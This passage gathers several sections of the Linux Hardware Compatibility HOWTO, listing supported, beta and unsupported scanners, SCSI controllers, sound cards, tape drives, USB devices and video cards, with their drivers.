  • HP PhotoSmart PhotoScanner (SANE hp)

  • Kodak DC210 (SANE dc210)

  • Kodak DC20, DC25 (SANE dc25)

  • Microtek Scanmaker E2, E3, E6, II, IIG, IIHR, IISP, III, 35t+, 600Z(S), 600G(S) (SANE microtek)

  • Microtek ScanMaker E3plus, 330, 630, 636, X6 (SANE microtek2)

  • Microtek Phantom 636 (SANE microtek2)

  • Mustek MFC-600S, MFC-600CD, MFC-800S (SANE mustek)

  • Mustek MFS-6000CX, MFS-6000SP, MFS-8000SP, MFS-1200SP, MFS-12000CX (SANE mustek)

  • Mustek SE-6000SP, SE-12000SP (SANE mustek)

  • Mustek HT105, M800 handheld scanners (scan-driver) here

  • Nework Scanny MM100 Info can be found on here. The driver can also be found here.

  • Nikon LS-20, LS-30, LS-1000 (SANE Coolscan)

  • Plustek OpticPro 4830P, OpticPro 4831P, OpticPro 9630P/PL, OpticPro 600P, OpticPro FBIII, OpticPro FBIV (SANE plustek) The sane driver can be found at here

  • Primax Colorado Direct 300, Colorado Direct 600/30bit, Storm Totalscan Info can be found on here. The driver can also be found here.

  • Siemens S9036 (SANE agfafocus)

  • Tamarack Artiscan 6000C, 8000C, 12000C (SANE tamarack)

  • UMAX Vista-S8, UC-1260, Mirage IIse, PL-II (SANE umax)

  • Vobis HighScan (SANE microtek2)

  • Voelkner Personal Scanner 64 handheld scanner (scan-driver) here

  • Vuego 310S (SANE snapscan)

23.3. Unsupported

  • Acer scanners. Acer is not releasing any programming information.

  • Escom 256 (Primax Lector Premier 256) handheld scanner

  • Genius ScanMate/256, ScanMate/Color, EasyScan handheld scanners

  • Mustek CG 8000 handheld scanner

  • Primax Colorado Direct 9600, Colorado 1200p, Colorado USB 19200 Info can be found on here

  • Trust Ami Scan handheld scanner

  • UMAX parallel scanners

Prev | Home | Next
Printers/Plotters |  | USB


Controllers (SCSI)

Linux Hardware Compatibility HOWTO
Prev Next

8. Controllers (SCSI)

It is important to pick a SCSI controller carefully. Many cheap ISA SCSI controllers are designed to drive CD-ROM's rather than anything else. Such low-end SCSI controllers are no better than IDE. See the SCSI HOWTO and look at performance figures before buying a SCSI card.

Please see the SCSI RAID controller section for information on SCSI controllers with hardware RAID support.

8.1. Supported

  • AMI Fast Disk (VLB/EISA) (BusLogic compatible)

  • Adaptec AVA-1502E (ISA/VLB) (AIC-6360) (AHA1520)

  • Adaptec AVA-1505/1515 (ISA) (Adaptec AHA-152x compatible)

  • Adaptec AVA-1825 (VLB) (Adaptec AHA-152x compatible)

    This card has a SCSI, EIDE and floppy port which all work nicely.

  • Adaptec AHA-1510/152x (ISA/VLB) (AIC-6260/6360)

  • Adaptec AHA-154x (ISA) (all models)

  • Adaptec AHA-174x (EISA) (in enhanced mode)

  • Adaptec AHA-274x/274xT (EISA) (AIC-7771). The 274xT is supported since kernel series 2.1.x (AHA2740)

  • Adaptec AHA-284x (VLB) (AIC-7770) (AHA2740)

  • Adaptec AHA-2910B (PCI) (since kernel series 2.1.x)

  • Adaptec AHA-2920 (PCI). Use the Future Domain driver. LILO parameters are needed when used for hard disks.

  • Adaptec AHA-2920C (PCI)

  • Adaptec AHA-2930/U/U2 (PCI)

  • Adaptec AHA-2940/U/W/AU/UW/U2W/U2/U2B/U2BOEM (PCI) (AIC-7861, AIC-7871, AIC-7844, AIC-7881, AIC-7884). Some of these are only supported since kernel series 2.1.x (AHA2740)

  • Adaptec AHA-2944D/WD/UD/UWD (PCI). Some of these are only supported since kernel series 2.1.x (AHA2740)

  • Adaptec AHA-2950U2/U2B/U2W

  • Adaptec AHA-3940/U/W/UW/AUW/U2W (PCI) (AIC-7872, AIC-7882) (since 1.3.6). Some of these are only supported since kernel series 2.1.x

  • Adaptec AHA-3950U2B/U2D

  • Adaptec AHA-3985U/W/UW (PCI) (AIC-7873, AIC-7883). Some of these are only supported since kernel series 2.1.x

  • Adaptec PCI controllers with AIC-7850, AIC-7855, AIC-7860

  • Adaptec on board controllers with AIC-777x (EISA), AIC-785x, AIC-786x, AIC-787x (PCI), AIC-788x (PCI), AIC-789x, AIC-3860. AIC-786x and AIC-789x are supported since kernel series 2.1.x

  • AdvanSys ABP510/5150 Bus-Master (ISA)

    (more info)

  • AdvanSys ABP5140 Bus-Master (ISA) PnP

    (more info)

  • AdvanSys ABP5142 Bus-Master (ISA) PnP with floppy

    (more info)

  • AdvanSys ABP920 Bus-Master (PCI)

    (more info)

  • AdvanSys ABP930/U Bus-Master (PCI/Ultra>)

    (more info)

  • AdvanSys ABP960/U Bus-Master (PCI/ULTRA) MAC/PC

    (more info)

  • AdvanSys ABP542 Bus-Master (ISA) with floppy (single channel)

    (more info)

  • AdvanSys ABP742 Bus-Master (EISA) (single channel)

    (more info)

  • AdvanSys ABP842 Bus-Master (VL) (single channel)

    (more info)

  • AdvanSys ABP940/U Bus-Master (PCI/Ultra) (single channel)

    (more info)

  • AdvanSys ABP970/U Bus-Master (PCI/Ultra) MAC/PC (single channel)

    (more info)

  • AdvanSys ABP752 Dual Channel Bus-Master (EISA) (dual channel)

    (more info)

  • AdvanSys ABP852 Dual Channel Bus-Master (VL) (dual channel)

    (more info)

  • AdvanSys ABP950 Dual Channel Bus-Master (PCI) (dual channel)

    (more info)

  • Always IN2000

  • AMD AM53C974

  • BusLogic FlashPoint LT/DL/LW/DW (BT-930(R), BT-920, BT-932(R), BT-950(R), BT-952(R))

    (more info)

  • Compaq Smart Array 2

  • DPT PM2001, PM2012A (EATA-PIO)

  • DPT Smartcache/SmartRAID Plus,III,IV families (ISA/EISA/PCI) (EATA-DMA)

    Take a look at this page for more information. Cards in these families are PM2011, PM2021, PM2041, PM3021, PM2012B, PM2022, PM2122, PM2322, PM2042, PM3122, PM3222, PM3332, PM2024, PM2124, PM2044, PM2144, PM3224, PM3334

  • DTC 3180/3280

  • DTC 329x (EISA) (Adaptec 154x compatible)

  • Future Domain TMC-16x0, TMC-3260 (PCI)

  • Future Domain TMC-8xx, TMC-950

  • Future Domain chips TMC-1800, TMC-18C50, TMC-18C30, TMC-36C70

  • ICP-Vortex PCI-SCSI Disk Array Controllers (many RAID levels supported) Patches for Linux 1.2.13 and 2.0.29 are available here. The controllers GDT6111RP, GDT6121RP, GDT6117RP, GDT6127RP, GDT6511RP, GDT6521RP, GDT6517RP, GDT6527RP, GDT6537RP and GDT6557RP are supported. You can also use pre-patch-2.0.31-4 to pre-patch-2.0.31-9.

  • ICP-Vortex EISA-SCSI Controllers (many RAID levels supported) Patches for Linux 1.2.13 and 2.0.29 are available here. The controllers GDT3000B, GDT3000A, GDT3010A, GDT3020A and GDT3050A are supported. You can also use pre-patch-2.0.31-4 to pre-patch-2.0.31-9.

  • Iomega PPA3 parallel port SCSI Host Bus Adapter embedded in ZIP drive

  • Initio Corp. INI-9090U INI-9100, INI-9100W/A/UW, INI-9200U/UW, INI-9400U/UW, INI-9520U/UW, INI-A100U2W

  • Initio Corp. INIC-950

  • Media Vision Pro Audio Spectrum 16 SCSI (ISA)

  • Mylex (formerly BusLogic) W Series (PCI) (BT-948, BT-958, BT-958D)

  • Mylex (formerly BusLogic) C Series (ISA/EISA/VLB/PCI) (BT-946C, BT-956C, BT-956CD, BT-445, BT-747C, BT-757C, BT-757CD, BT-545C, BT-540CF)

  • Mylex (formerly Buslogic) S Series (ISA/EISA/VLB) (BT-445S, BT-747S, BT-747D, BT-757S, BT-757D, BT-545S, BT-542D, BT-742A, BT-542B)

  • Mylex (formerly BusLogic) A Series (ISA/EISA) (BT-742A, BT-542B)

  • NCR 5380 generic cards

  • NCR 53C400 (Trantor T130B) (use generic NCR 5380 SCSI support)

  • NCR 53C406a (Acculogic ISApport / Media Vision Premium 3D SCSI)

  • NCR chips 53C7x0 (the 53C710 is only supported in PCI variant)

  • NCR chips 53C810(A), 53C815, 53C820, 53C825(A), 53C860, 53C875, 53C895 (53C895 supported 'on paper')

  • Qlogic / Control Concepts SCSI/IDE (FAS408) (ISA/VLB)

  • Qlogic FASXXX/FASXX family of chips (ISA/VLB)

  • QLogic IQ-PCI, IQ-PCI-10, IQ-PCI-D (PCI) (ISP1020 chip)

  • Quantum ISA-200S, ISA-250MG

  • Seagate ST-01/ST-02 (ISA)

  • SIIG Ultrawide SCSI Pro (Initio chipset).

  • SoundBlaster 16 SCSI-2 (Adaptec 152x compatible) (ISA)

  • Tekram DC-390, DC-390W/U/F

  • Trantor T128/T128F/T228 (ISA)

  • UltraStor 14F (ISA), 24F (EISA), 34F (VLB)

  • Western Digital WD7000 SCSI

8.2. Alpha, Beta drivers

  • AMD AM79C974 (PCI) (Compaq, HP, Zeos onboard SCSI)

    (driver)

  • Adaptec ACB-40xx SCSI-MFM/RLL bridgeboard

    (driver)

  • Always Technologies AL-500

    (driver)

  • Iomega PC2/2B

    (driver)

  • Ricoh GSI-8

    (driver)

8.3. Unsupported

  • Adaptec AHA 2940UW Pro

  • Adaptec AAA-13x RAID Adapters

  • Adaptec AAA-113x Raid Port Cards

  • Adaptec AIC-7810

  • NCR chip 53C710 (ISA) (old obsolete chip, but still used in some Compaq models)

  • Non Adaptec compatible DTC boards (327x, 328x)

Prev | Home | Next
Controllers (hard drive) |  | SCSI RAID Controllers


Sound cards

Linux Hardware Compatibility HOWTO
Prev Next

14. Sound cards

More information on sound drivers and sound cards can be found on Alan Cox's OSS page, ALSA, and the Linux Sound HOWTO.

14.1. Supported

  • 4Front Technology Virtual Mixer (includes SoftOSS)

  • 4Front Technology Virtual Synth (SoftOSS)

  • 6850 UART MIDI

  • A-Plus Sound of Music (OPL3-SA)

  • A-Trend Harmony 3Ds751 (PCI)

  • AcerMagic S23

  • Adlib FM synthesizer card

  • Adlib MSC 16 PnP (CS4235)

  • AMD Interwave reference card

  • ARC Probook

  • Audio Excell DSP16

  • Avance Logic ALS-007 chip based cards. Code for this chip is integrated in the Sound Blaster 16 driver. Isapnptools should be used for configuration.

  • AW32 Pro (R2.2-W2)

  • AW35 (CS4237)

  • AW37 Pro (CS4235)

  • Aztech Sound Galaxy NX Pro, NX Pro 16, WaveRider 32+

  • Aztech Washington

  • BTC Mozart Sound System

  • BTC-1831 Sound Card (Opti 1688)

  • Bravo Sound Card (Opti 82C930)

  • Bull PowerPc builtin audio

  • CDR4235-6/-8

  • CS32-3DI

  • Compaq Deskpro XL integrated Business Audio

  • Creative EMU8000 add on (PnP)

  • Creative Phone Blaster 28.8/33.6

  • Creative Sound Blaster 1.0 to 2.0

  • Creative Sound Blaster Pro

  • Creative Sound Blaster 16

  • Creative Sound Blaster 16 ASP

  • Creative Sound Blaster 16 PnP (type-1 up to type-10)

  • Creative Sound Blaster 16 Vibra

  • Creative Sound Blaster 2.x

  • Creative Sound Blaster 32/AWE

  • Creative Sound Blaster 32/AWE PnP (type-1 up to type-10)

  • Creative Sound Blaster AWE64 (type-1 up to type-7)

  • Creative Sound Blaster AWE64 Gold (type-1 and type-2)

  • Creative Sound Blaster PCI64/128

  • Creative Sound Blaster AWE64/Gold and 16/32/AWE PnP cards need to be activated using isapnptools

  • Creative ViBRA16C/CL/S (type-1 and type-2) PnP

  • Creative ViBRA16X PnP (half duplex only)

  • CrystaLake Crystal Clear Series 100

  • Crystal Audio (CS4235)

  • Crystal CRD4236B-1E

  • Crystal CRD4237B-5/-8

  • Crystal CSC0B35 (CS4236B)

  • Crystal CX4237B-SIDE

  • Crystal Onboard PnP Audio (CS4235)

  • Dell Latidude builtin audio

  • Diamond Crystal MM PC/104

  • Digital AXP builtin audio

  • ECHO-PSS cards (Orchid SoundWave32, Cardinal DSP16)

  • ESS 1868, 1869 (type-1 and type-2), 1878, 1879, 1968 PnP AudioDrive

  • Ensoniq AudioPCI (ES1371)

  • Ensoniq AudioPCI / SoundBlaster PCI (ES1370)

  • Ensoniq Soundscape Elite

  • Ensoniq Soundscape PnP (model 1 and 2)

  • Ensoniq Soundscape S-2000

  • Ensoniq Soundscape VIVO, VIVO90

  • Ensoniq ActionNote 880 C/CX

  • Gallant's sound card (SC-6000 and SC-66000 based)

  • Generic AD1815 based soundcard (PnP)

  • Generic CMI8330 based soundcard (PnP)

  • Generic Crystal CS4232 based soundcard or motherboard (non PnP)

  • Generic Crystal CS4232 by Acer (PnP mode)

  • Generic Crystal CS4232 type-1 up to type-3 (PnP mode)

  • Generic Crystal CS4235 type-1

  • Generic Crystal CS4236 (type-1 up to type-3)

  • Generic Crystal CS4236 based soundcard or motherboard (non PnP)

  • Generic Crystal CS4236A (type-1 and type-2), CS4236B

  • Generic Crystal CS4237 based soundcard or motherboard (non PnP)

  • Generic Crystal CS4237B (type-1 and type-2)

  • Generic Crystal CS4238 based soundcard or motherboard (non PnP)

  • Generic ESS ES688, ES1688, ES1788, ES1868, ES1869, ES1887, ES1888 based soundcard or motherboard

  • Generic Jazz16 based soundcard

  • Generic MAD16 (OPTi 82C928), MAD16 Pro, MAD16 Pro (duplex) (OPTi 82C929)

  • Generic Mozart soundcard (OAK OTI-601 chip)

  • Generic OPTi 82C924, 82C925 based sound card (PnP)

  • Generic OPTi 82C924 soundcard (non PnP mode). Use the MSS driver and the isapnp tools

  • Generic OPTi 82C930

  • Generic OPTi 82C931 (more info)

  • Generic Soundscape based soundcard

  • Generic Windows Sound System compatible

  • Generic Yamaha OPL3-SA1 (YMF701) based soundcard

  • Generic Yamaha OPL3-SA2 (YMF711) based soundcard (type-1, type-3, type-4)

  • Generic Yamaha OPL3-SA3 (YMF715) based soundcard

  • Generic Yamaha OPL3-SAx (YMF715/YMF719) non-PnP

  • Gravis Ultrasound

  • Gravis Ultrasound Extreme

  • Gravis Ultrasound 16-bit sampling daughterboard

  • Gravis Ultrasound MAX

  • Gravis Ultrasound ACE

  • Gravis Ultrasound PnP (with RAM), PnP Pro

  • HP OmniBook 2100 (CS4236)

  • Home Studio 64 (analog audio only)

  • IBM Audio Feature (CS423x)

  • Logitech SoundMan Games (SBPro, 44kHz stereo support)

  • Logitech SoundMan Wave (Jazz16/OPL4)

  • Logitech SoundMan 16 (PAS-16 compatible)

  • MED3201 audio card

  • Maxi Sound 32 PnP (analog audio only)

  • Maxi Sound 64 Dynamic 3D (analog audio only)

  • Media Sound SW/32 (non PnP mode)

  • MediaTriX AudioTriX Pro, 3D XG

  • Media Vision Premium 3D (Jazz16)

  • Media Vision Pro Sonic 16 (Jazz)

  • Media Vision Pro Audio Spectrum 16 (PAS-16)

  • Media Vision Pro Audio Studio 16

  • Media Vision Thunderboard

  • Microsoft Windows Sound System board (AD1848)

  • MiroSound PCM!-pro

  • MultiWave AudioWave Green 16

  • Music Quest MIDI connector card (MCC)

  • Music Quest MQX-16, MQX-16S MIDI adapter

  • Music Quest MQX-32, MQX-32M MIDI adapter

  • Music Quest PC MIDI card

  • NEC Harmony

  • Orchid SoundDrive 16EZ

  • Pine PT201

  • Primax SoundStorm FM 16, SoundStorm Wave

  • Pro Audio Spectrum 16, Studio 16

  • RME Digi32, Digi32 Pro, Digi32/8

  • Reveal SC300

  • Reveal WaveExtreme Pro (with RAM)

  • Roland MPU IPC-T MIDI adapter

  • S3 SonicVibes

  • Shark Mako

  • Sharp PC8800

  • Shuttle Sound System 48

  • Spacewalker HOT-255 PCI 3D (PCI)

  • TerraTec Maestro 32/96

  • Terratec EWS64XL (audio only)

  • Terratec Sound System Base 1 (AD1816)

  • Terratec Sound System Base 64 (AD1816)

  • Tomato Sound System (OPTi 82C930)

  • Trust Sound Expert De Luxe Wave 32

  • Turtle Beach Classic/Tahiti/Monterey

  • Turtle Beach Maui

  • Turtle Beach Monte Carlo 928, Monte Carlo 929

  • Turtle Beach Pinnacle/Fiji

  • Turtle Beach Tropez, Tropez Plus (audio only)

  • Turtle Beach Daytona (audio only)

  • Wearnes Classic 16

  • Yamaha Sound Edge SW20-PC

  • Zefiro Acoustics ZA2 (NOT RECOMMENDED)

  • Zenith Z-Player

  • AWE32/64 supports is started in kernel series 2.1.x (check the SoundBlaster AWE mini-HOWTO by Marcus Brinkmann for installation details)

  • MPU-401 MIDI Intelligent mode (don't enable blindly)

    • MPU IPC-T

    • MQX-32M

  • MPU-401 MIDI UART only dumb port (don't enable blindly)

  • Yamaha FM synthesizers (OPL2, OPL3, OPL3-SAx (since kernel series 2.1.x) and OPL4)

OSS supports all MIDI daughter cards including Wave Blaster, TB Rio and Yamaha DB50XG. The only requirement is that the "host" card is supported by OSS. Note that only the "host" card needs to be configured using soundconf. The daughter card will be automatically accessible through the MIDI of the "host" card.

14.2. Alpha, Beta drivers

  • 4Front Tech. Waveloop loopback audio device

  • Acer FX-3D (AD1816 based)

  • AVM Apex Pro card (AD1816 based)

  • Aztech AZT1008, AZT2320, AZT3000

  • Aztech SC-16 3D (AD1816 based)

  • Creative Sound Blaster Vibra16x

  • Creative Sound Blaster Live! and Live! Value Edition Creative Labs has beta driver for this card. They work with kernels 2.0.36 and 2.2.5 (and most probably newer kernels in these series). The drivers can be downloaded under the software download area at Creative's web site.

  • Highscreen Sound-Boostar 32 Wave 3D (AD1816 based)

  • Highscreen Sound-Boostar 16 (AD1816 based)

  • HP Kayak (AD1816 based)

  • IBM MWave

  • Newcom SC-16 3D (AD1816 based)

  • PC speaker / Parallel port DAC (driver)

  • Rockwell WaveArtist chipset

  • Sonorus STUDI/O

  • SY-1816 (AD1816 based)

  • Terratec Base 1, Base 64 (AD1816 based)

  • Terratec EWS64S (AD1816 based)

  • Turtle Beach Malibu (driver)

For the AD1816 sound chip based sound cards isapnptools is needed for configuration.

14.3. Unsupported

Please note that this section has not been updated recently. It is most likely incorrect.

  • A-Trend Harmony 3DS724 (PCI)

  • Actech PCI 388-A3D q

  • Adaptec AME-1570

  • Aureal Vortex (PCI)

  • Cardinal DSP 16

  • Contributed lowlevel drivers

  • Crystal CS4614 (PCI)

  • Cyrix MediaGX builtin audio

  • Diamond Monster Sound MX300

  • Diamond Sonic Impact

  • Dream 94PnP Home Studio

  • EON Bach SP901 (A3D)

  • ESS (PCI)

  • ESS Maestro-1 (PCI), Maestro-2 (PCI)

  • ESS Solo-1 (PCI)

  • Echo Personal Sound System

  • Generic ALS007, ALS100 based soundcard

  • Orchid NuSound 3D

  • Orchid SoundWave 32

  • Paradise DSP-16

  • Quicknet Internet LineJACK

  • Terratec XLerate (A3D)

  • Turtle Beach Montego

  • Turtle Beach TBS-2000

  • Videologic SonicStorm

  • Wearnes Beethoven ADSP-16

  • Western Digital Paradise DSP-16

  • Yamaha YMF724 (PCI)

The ASP chip on Sound Blaster 16 series is not supported. AWE32's onboard E-mu MIDI synthesizer is not supported.

Nathan Laredo < laredo@gnu.ai.mit.edu> is willing to write AWE32 drivers if you send him a complimentary card. He is also willing to write drivers for almost any hardware if you send him free samples of your hardware.

Sound Blaster 16's with DSP 4.11 and 4.12 have a hardware bug that causes hung/stuck notes when playing MIDI and digital audio at the same time. The problem can happen with either Wave Blaster daughterboards or MIDI devices attached to the MIDI port. There is no known fix.

Prev | Home | Next
Network adapters |  | Hard drives


Tape drives

Linux Hardware Compatibility HOWTO
Prev Next

16. Tape drives

16.1. Supported

  • SCSI tape drives (From the SCSI HOWTO) Drives using both fixed and variable length blocks smaller than the driver buffer length (set to 32k in the distribution sources) are supported. Virtually all drives should work. (Send mail if you know of any incompatible drives.)

    • Seagate Sidewinder 50 AIT (on ICP 6527 RAID-controller)

  • QIC-02 drives

  • Iomega Ditto internal (ftape 3.04c and newer)

16.2. Alpha, Beta drivers

  • QIC-117, QIC-40/80, QIC-3010/3020 (QIC-WIDE) drives Most tape drives using the floppy controller should work. Various dedicated controllers (Colorado FC-10/FC-20, Mountain Mach-2, Iomega Tape Controller II) are also supported here

  • ATAPI tape drives For these an alpha driver (ide-tape.c) is available in the kernel. ATAPI tape drives supported are

    • Seagate TapeStor 8000

    • Conner CTMA 4000 IDE ATAPI Streaming tape drive

16.3. Unsupported

  • Emerald and Tecmar QIC-02 tape controller cards - Chris Ulrich < insom@math.ucr.edu >

  • Drives that connect to the parallel port (eg: Colorado Trakker)

  • Some high speed tape controllers (Colorado TC-15)

  • Irwin AX250L/Accutrak 250 (not QIC-80)

  • IBM Internal Tape Backup Unit (not QIC-80)

  • COREtape Light

Prev | Home | Next
Hard drives |  | CD-ROM drives


USB

Linux Hardware Compatibility HOWTO
Prev Next

24. USB

USB is supported in all 2.4.x kernels, as well as 2.2.18 and higher. The kernel driver supports both the Universal Host Controller Interface (UHCI, used by Intel and Via motherboard chipsets) and the Open Host Controller Interface (OHCI, used by Compaq, Apple, SiS, OPTi, Lucent and ALi chipsets).

For more information, see linux-usb.org.

Below is a very incomplete list of USB hardware known to work with the Linux USB driver.

24.1. Digital Cameras

Manufacturer | Model Name | Driver | Notes
Sony | DSC-F505V | usb-storage | Information from www.cybershotcentral.com/oses.asp?os=Linux
Sony | DSC-S70 | usb-storage | Information from www.cybershotcentral.com/oses.asp?os=Linux
Sony | DSC-S50 | usb-storage | Information from www.cybershotcentral.com/oses.asp?os=Linux
Sony | DSC-S30 | usb-storage | Information from www.cybershotcentral.com/oses.asp?os=Linux
Sony | DSC-P1 | usb-storage | Information from www.cybershotcentral.com/oses.asp?os=Linux

24.2. Miscellaneous

Manufacturer | Model Name | Description | Driver | Notes
SanDisk | ImageMate | CompactFlash reader | usb-storage |
Sony | MSAC-US1 | Memory Stick Standalone USB Adaptor | usb-storage | Information from www.cybershotcentral.com/oses.asp?os=Linux

Prev | Home | Next
Scanners |  | Other hardware


Video cards

Linux Hardware Compatibility HOWTO
Prev Next

6. Video cards

Please note that this section is currently being updated, so some information may not be entirely correct or complete.

Linux will work with all video cards in text mode, VGA cards not listed below probably will still work with mono VGA and/or standard VGA drivers.

If you're looking into buying a cheap video card to run X, keep in mind that accelerated cards (ATI Mach, ET4000/W32p, S3) are MUCH faster than unaccelerated or partially accelerated (Cirrus, WD) cards.

"32 bpp" is actually 24 bit color aligned on 32 bit boundaries. It does NOT mean the cards are capable of 32 bit color, they still display 24 bit color (16,777,216 colors). 24 bit packed pixels modes are not supported in XFree86, so cards that can do 24 bit modes to get higher resolutions in other OS's are not able to do this in X using XFree86. These cards include Mach32, Cirrus 542x, S3 801/805/868/968, ET4000, and others.

AGP (Accelerated Graphics Port) support is growing fast. Most of the X-servers (both freely available and commercial versions) have more or less support for AGP.

6.1. XFree86

The following is a list of cards known to work with XFree86 versions 3.3.6 and/or 4.1.0. See the XFree86 web site for more information.

Card Name | Chipset | XFree86 3.3.x server | XFree86 4.x driver | Notes
2 the Max MAXColor S3 Trio64V+ | S3 Trio64V+ | XF86_S3 | vga |
2-the-Max MAXColor 6000 | ET6000 | XF86_SVGA | tseng |
3DLabs Oxygen GMX | PERMEDIA 2 | XF86_3DLabs | glint |
3DVision-i740 AGP | Intel 740 | XF86_SVGA | i740 |
3Dlabs Permedia2 (generic) | PERMEDIA 2 | XF86_3DLabs | glint |
928Movie | S3 928 | XF86_S3 | vga |
ABIT G740 8MB SDRAM | Intel 740 | XF86_SVGA | i740 |
AGP 2D/3D V. 1N, AGP-740D | Intel 740 | XF86_SVGA | i740 |
AGX (generic) | AGX-014/15/16 | XF86_AGX | vga |
ALG-5434(E) | CL-GD5434 | XF86_SVGA | cirrus |
AOpen AGP 2X 3D Navigator PA740 | Intel 740 | XF86_SVGA | i740 |
AOpen PA2010 | Voodoo Banshee | XF86_SVGA | tdfx |
AOpen PA45 | SiS6326 | XF86_SVGA | sis |
AOpen PA50D | SiS6326 | XF86_SVGA | sis |
AOpen PA50E | SiS6326 | XF86_SVGA | sis |
AOpen PA50V | SiS6326 | XF86_SVGA | sis |
AOpen PA80/DVD | SiS6326 | XF86_SVGA | sis |
AOpen PG128 | S3 Trio3D | XF86_SVGA | s3virge |
AOpen PG975 | 3dimage975 | XF86_SVGA | trident |
AOpen PS3010 | RIVATNT2 | XF86_SVGA | nv |
AOpen PT70 | S3 ViRGE/DX | XF86_SVGA | s3virge |
AOpen PT75 | S3 ViRGE/DX | XF86_SVGA | s3virge |
AOpen PT80 | SiS6326 | XF86_SVGA | sis |
ARISTO i740 AGP (ART-i740-G) | Intel 740 | XF86_SVGA | i740 |
ASUS 3Dexplorer | RIVA128 | XF86_SVGA | nv |
ASUS AGP-V2740 | Intel 740 | XF86_SVGA | i740 |
ASUS PCI-AV264CT | ati | XF86_Mach64 | ati |
ASUS PCI-V264CT | ati | XF86_Mach64 | ati |
ASUS Video Magic PCI V864 | S3 864 | XF86_S3 | vga |
ASUS Video Magic PCI VT64 | S3 Trio64 | XF86_S3 | vga |
AT25 | Alliance AT3D | XF86_SVGA | apm |
AT3D | Alliance AT3D | XF86_SVGA | apm |
ATI 3D Pro Turbo | ati | XF86_Mach64 | ati |
ATI 3D Pro Turbo PC2TV | ati | XF86_Mach64 | ati |
ATI 3D Xpression | ati | XF86_Mach64 | ati |
ATI 3D Xpression+ | ati | XF86_Mach64 | ati |
ATI 3D Xpression+ PC2TV | ati | XF86_Mach64 | ati |
ATI 8514 Ultra (no VGA) | ATI-Mach8 | XF86_Mach8 | vga |
ATI All-in-Wonder | ati | XF86_Mach64 | ati |
ATI All-in-Wonder 128 Pro AGP | ati | XF86_SVGA | r128 |
ATI All-in-Wonder Pro | ati | XF86_Mach64 | ati |
ATI Graphics Pro Turbo | ati | XF86_Mach64 | ati |
ATI Graphics Pro Turbo 1600 | ati | XF86_Mach64 | ati |
ATI Graphics Ultra | ati | XF86_Mach8 | ati |
ATI Graphics Ultra Pro | ati | XF86_Mach32 | ati |
ATI Graphics Xpression | ati | XF86_Mach64 | ati |
ATI Mach32 | ati | XF86_Mach32 | ati |
ATI Mach64 | ati | XF86_Mach64 | ati |
ATI Mach64 3D RAGE II | ati | XF86_Mach64 | ati |
ATI Mach64 3D RAGE II+DVD | ati | XF86_Mach64 | ati |
ATI Mach64 3D Rage IIC | ati | XF86_Mach64 | ati |
ATI Mach64 3D Rage Pro | ati | XF86_Mach64 | ati |
ATI Mach64 CT (264CT) | ati | XF86_Mach64 | ati |
ATI Mach64 GT (264GT), aka 3D RAGE | ati | XF86_Mach64 | ati |
ATI Mach64 VT (264VT) | ati | XF86_Mach64 | ati |
ATI Radeon (generic) | ati |  | radeon |
ATI Radeon AGP | ati |  | radeon |
ATI Radeon AGP VIVO | ati |  | radeon |
ATI Radeon All In Wonder AGP | ati |  | radeon |
ATI Rage 128 | ati | XF86_SVGA | r128 |
ATI Rage 128 (generic) | ati | XF86_SVGA | r128 |
ATI Rage 128 Mobility | ati |  | r128 |
ATI Rage Fury AGP | ati | XF86_SVGA | r128 |
ATI Rage Fury Pro AGP | ATI | XF86_SVGA | r128 |
ATI Rage LT | ati | XF86_Mach64 | ati |
ATI Rage LT PRO | ati | XF86_Mach64 | ati |
ATI Rage Mobility | ati |  | ati |
ATI Rage Mobility M4 AGP | ati | XF86_SVGA | r128 |
ATI Rage Mobility P | ati | XF86_Mach64 | ati |
ATI Rage XL | ati | XF86_SVGA | ati |
ATI Rage XL AGP | ati | XF86_SVGA | ati |
ATI Ultra Plus | ati | XF86_Mach32 | ati |
ATI Video Boost | ati | XF86_Mach64 | ati |
ATI Video Charger | ati | XF86_Mach64 | ati |
ATI Video Xpression | ati | XF86_Mach64 | ati |
ATI Video Xpression+ | ati | XF86_Mach64 | ati |
ATI WinBoost | ati | XF86_Mach64 | ati |
ATI WinCharger | ati | XF86_Mach64 | ati |
ATI WinTurbo | ati | XF86_Mach64 | ati |
ATI Wonder SVGA | ati | XF86_SVGA | ati |
ATI XPERT 128 AGP | ati | XF86_SVGA | r128 |
ATI XPERT 99 AGP | ati | XF86_SVGA | r128 |
ATI Xpert 128 AGP | ati | XF86_SVGA | r128 |
ATI Xpert 2000 AGP | ati | XF86_SVGA | r128 |
ATI Xpert 98 | ati | XF86_Mach64 | ati |
ATI Xpert 99 AGP | ati | XF86_SVGA | r128 |
ATI Xpert XL | ati | XF86_Mach64 | ati |
ATI Xpert@Play | ati | XF86_Mach64 | ati |
ATI Xpert@Play 98 | ati | XF86_Mach64 | ati |
ATI Xpert@Work | ati | XF86_Mach64 | ati |
ATI integrated on Intel Maui MU440EX motherboard | ati | XF86_Mach64 | ati |
ATrend ATC-2165A | ET6000 | XF86_SVGA | tseng |
AccelStar Permedia II AGP | PERMEDIA 2 | XF86_3DLabs | glint |
Acorp AGP i740 | Intel 740 | XF86_SVGA | i740 |
Actix GE32+ 2MB | S3 801/805 | XF86_S3 | vga |
Actix GE32i | S3 805i | XF86_S3 | vga |
Actix GE64 | S3 864 | XF86_S3 | vga |
Actix ProStar | CL-GD5426/5428 | XF86_SVGA | cirrus |
Actix ProStar 64 | CL-GD5434 | XF86_SVGA | cirrus |
Actix Ultra | S3 928 | XF86_S3 | vga |
Acumos AVGA3 | CL-GD5420/2/4/6/8/9 | XF86_SVGA | cirrus |
Alliance ProMotion 6422 | AP6422 | XF86_SVGA | vga |
Appian Jeronimo 2000 | PERMEDIA 3 |  | glint |
Aristo ART-390-G S3 Savage3D | S3 Savage | XF86_SVGA | savage |
Ark Logic ARK1000PV (generic) | ARK1000PV | XF86_SVGA | vga |
Ark Logic ARK1000VL (generic) | ARK1000VL | XF86_SVGA | vga |
Ark Logic ARK2000MT (generic) | ARK1000MT | XF86_SVGA | vga |
Ark Logic ARK2000PV (generic) | ARK1000PV | XF86_SVGA | vga |
Atrend (Speedy) 3DIO740 AGP (ATC-2740) | Intel 740 | XF86_SVGA | i740 |
Avance Logic 2101 | Avance Logic | XF86_SVGA | vga |
Avance Logic 2228 | Avance Logic | XF86_SVGA | vga |
Avance Logic 2301 | Avance Logic | XF86_SVGA | vga |
Avance Logic 2302 | Avance Logic | XF86_SVGA | vga |
Avance Logic 2308 | Avance Logic | XF86_SVGA | vga |
Avance Logic 2401 | Avance Logic | XF86_SVGA | vga |
Binar Graphics AnyView | ET6000 | XF86_SVGA | tseng |
